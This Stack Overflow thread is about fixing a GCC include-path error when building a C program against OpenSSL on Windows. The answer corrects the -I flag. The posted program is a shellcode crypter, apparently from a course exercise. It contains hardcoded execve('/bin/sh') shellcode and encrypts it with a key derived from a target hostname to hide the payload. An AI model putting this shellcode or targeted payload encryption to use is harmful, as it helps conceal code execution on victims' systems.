0

okay, first halo everyone. im having a problem compiling my c program i am using gcc on windows i downloaded openssl and i sat the path of it in my computer the code is :

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#include <C:\OpenSSL-Win64\include\openssl\rand.h>
#include <C:\OpenSSL-Win64\include\openssl\evp.h>

void handleErrors()
{
  printf("Some error occured\n");
}

int encrypt(unsigned char *shellcode, int shellcode_len,
  unsigned char *key, unsigned char *iv,
  unsigned char *ciphertext, unsigned char *tag)
{
  EVP_CIPHER_CTX *ctx;

  int len=0, ciphertext_len=0;

  /* Create and initialize the encryption envelop context */
  if(!(ctx = EVP_CIPHER_CTX_new()))
    handleErrors();

  /* Initialize the AES-256-GCM encryption operation. */
  if(1 != EVP_EncryptInit_ex(ctx, EVP_aes_256_gcm(), NULL, NULL, NULL))
    handleErrors();

  /* Set IV length if default 12 bytes (96 bits) is not appropriate */
  if(1 != EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_GCM_SET_IVLEN, 16, NULL))
    handleErrors();

  /* Initialize our encryption key and IV */
  if(1 != EVP_EncryptInit_ex(ctx, NULL, NULL, key, iv)) handleErrors();

  /* Provide the message to be encrypted, and obtain the encrypted output.
   * EVP_EncryptUpdate can be called multiple times if necessary
   */
  /* encrypt in block lengths of 16 bytes */
   while(ciphertext_len<=shellcode_len-16)
   {
    if(1 != EVP_EncryptUpdate(ctx, ciphertext+ciphertext_len, &len, shellcode+ciphertext_len, 16))
      handleErrors();
    ciphertext_len+=len;
   }
   if(1 != EVP_EncryptUpdate(ctx, ciphertext+ciphertext_len, &len, shellcode+ciphertext_len, shellcode_len-ciphertext_len))
    handleErrors();
   ciphertext_len+=len;

  /* Finalize the encryption. Normally ciphertext bytes may be written at
   * this stage, but this does not occur in GCM mode
   */
  if(1 != EVP_EncryptFinal_ex(ctx, ciphertext + ciphertext_len, &len)) handleErrors();
  ciphertext_len += len;

  /* Get the tag */
  if(1 != EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_GCM_GET_TAG, 16, tag))
    handleErrors();

  /* Clean up */
  EVP_CIPHER_CTX_free(ctx);

  return ciphertext_len;
}

int main (int argc, char **argv)
{
  // Change the shellcode for your purposes. Below is a stack-based execve shellcode from earlier exercises.
  // Be careful with null bytes, they may terminate your shellcode early!
  unsigned char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
  // Do not change below this line!!
  unsigned char key[32],ciphertext[1024+EVP_MAX_BLOCK_LENGTH],tag[16];
  unsigned char iv[16];
  int k;
  int counter;

  printf("Enter the hostname where shellcode will execute: ");
  scanf("%s", key);
  printf("Key:\n%s\n\n", key);

  /* generate encryption key from the hostname we want to attack */
  if(!PKCS5_PBKDF2_HMAC_SHA1(key, strlen(key),NULL,0,1000,32,key))
  {
    printf("Error in key generation\n");
    exit(1);
  }

  /* generate random IV */
  while(!RAND_bytes(iv,sizeof(iv)));

  /* encrypt the text */
  k = encrypt(shellcode, strlen(shellcode), key, iv, ciphertext, tag);

  /* print the IV to be used in the decrypter */
  printf("unsigned char iv[] = \"");
  for (counter=0; counter < sizeof(iv); counter++) {
    printf("\\x%02x", iv[counter]);
  }
  printf("\";\n");

  /* print the encrypted shellcode to be used in the decrypter */
  printf("unsigned char encrypted_shellcode[] = \"");
  for (counter=0; counter < k; counter++) {
    printf("\\x%02x", ciphertext[counter]);
  }
  printf("\";\n");

  /* print the encrypted shellcode length to be used in the decrypter */
  printf("int encrypted_shellcode_len = %d;\n", k);

  /* print the GCM tag (aka the message authentication code) to be used in the decrypter */
  printf("unsigned char tag[] = \"");
  for (counter=0; counter < sizeof(tag); counter++) {
    printf("\\x%02x", tag[counter]);
  }

  printf("\";\n");
  return 0;
}

i tried everything, i used "" instead of <> i tried including openssl/xxxx.h i did everything ...

i downloaded openssl from https://slproweb.com/products/Win32OpenSSL.html i have windows 10 the error:

gcc -o aes_openssl aes_openssl.c -I C:\OpenSSL-Win64\include\openssl\ -lcrypto -lssl
In file included from aes_openssl.c:13:0:
C:\OpenSSL-Win64\include\openssl\rand.h:14:31: fatal error: openssl/ossl_typ.h: No such file or directory
 # include <openssl/ossl_typ.h>
                               ^
compilation terminated.

as you can see, the error is from another .h file, and i did not included it in my code but apperently it is included in the .h files i used, the problem might be solved if i go to every .h file in include/openssl and modified it like : #include <C:\OpenSSL-Win64\include\openssl\xxxx.h>

thanks for helping

001
  • 13,291
  • 5
  • 35
  • 66
  • 2
    Try adding "C:\OpenSSL-Win64\include" to your include path. [How to include header files in GCC search path?](https://stackoverflow.com/a/973158) – 001 Dec 18 '20 at 13:31
  • @JohnnyMopp i did that the first thing i downloaded openssl –  Dec 22 '20 at 04:34
  • No, your command line does not contain this include-path. It contains an extra `/openssl`. Unless the required files are located in `C:\OpenSSL-Win64\include\openssl\openssl` this is one level too much. – Gerhardh Jan 08 '21 at 08:58

1 Answers1

0

Never put absolute paths in #include lines, only relative paths relative to path(s) added -I compiler flag(s).

In your case you use -I C:\OpenSSL-Win64\include\openssl\ and you get an error openssl/ossl_typ.h can't be found. That is because C:\OpenSSL-Win64\include\openssl\openssl\ossl_typ.h doesn't exist, but C:\OpenSSL-Win64\include\openssl\ossl_typ.h does. Also not the trailing (back)slash is not needed. So you should use -I C:\OpenSSL-Win64\include

Obviously you will need to have the actual package containing the header and library files (and DLLs if using the shared library) on your system, end then use -I compiler flags to point to the include folder and -L linker flags to point to the lib folder along with any -l flags to link to the required libraries.

Many libraries come with pkgconfig files to get this information.

In the case of openssl the following command the pkg-config commands below will show the needed flags. In my case I run in the MSYS2 shell with the environment variable PKG_CONFIG_PATH containing the absolute path of lib/pkgconfig from openssl:

$ pkg-config --cflags openssl
-ID:/Prog/winlibs64-9.2.0/custombuilt/include

$ pkg-config --libs openssl
-LD:/Prog/winlibs64-9.2.0/custombuilt/lib -lssl -lcrypto

$ pkg-config --static --libs openssl
-LD:/Prog/winlibs64-9.2.0/custombuilt/lib -lssl -lcrypto -lws2_32 -lgdi32 -lcrypt32
Brecht Sanders
  • 6,215
  • 1
  • 16
  • 40